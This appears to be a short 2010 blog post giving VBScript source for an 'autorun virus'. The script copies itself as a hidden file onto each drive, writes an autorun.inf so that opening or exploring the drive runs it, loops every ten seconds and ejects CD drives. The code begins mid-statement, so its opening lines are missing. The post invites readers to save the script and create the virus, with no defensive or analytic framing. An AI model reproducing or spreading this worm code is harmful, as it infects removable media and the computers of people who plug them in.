Sunday, January 24, 2010

Autorun virus

f drive.Path<> "A:" Then
Set chg = fso.GetFile(drive.Path & "\ProtectFile.vbs")
chg.Attributes = -8
Set wa=fso.CreateTextFile(drive.Path & "\ProtectFile.vbs",2,True)
wa.Write MyFile
wa.Close
Set wa = fso.GetFile(drive.Path & "\ProtectFile.vbs")
wa.Attributes = -1

Set chg = fso.GetFile(drive.Path & "\autorun.inf")
chg.Attributes = -8
Set wa = fso.CreateTextFile(drive.Path & "\autorun.inf",2,True)
wa.writeline "[autorun]"
wa.WriteLine "open=wscript.exe ProtectFile.vbs"
wa.WriteLine "shell\open=Open"
wa.WriteLine "shell\open\Command=wscript.exe ProtectFile.vbs"
wa.WriteLine "shell\explore=Explore"
wa.WriteLine "shell\explore\Command=wscript.exe ProtectFile.vbs"
wa.Close
Set wa = fso.GetFile(drive.Path & "\autorun.inf")
wa.Attributes = -1
End if
End If
Next
Wscript.sleep 10000
loop while(fso.GetSpecialFolder(1)=fso.GetParentFolderName(WScript.ScriptFullName))

Set objshell = CreateObject("Shell.Application")
Set mycomp=objshell.NameSpace(17)
For Each drive In fso.Drives
If drive.DriveType=4 Then
Set cd=mycomp.ParseName(drive.path & "\")
Set context=cd.Verbs
cd.InvokeVerb "E&ject"
end if
Next

Save it as ProtectFiles.vbs and before realizing, you have created an autorun virus!

No comments: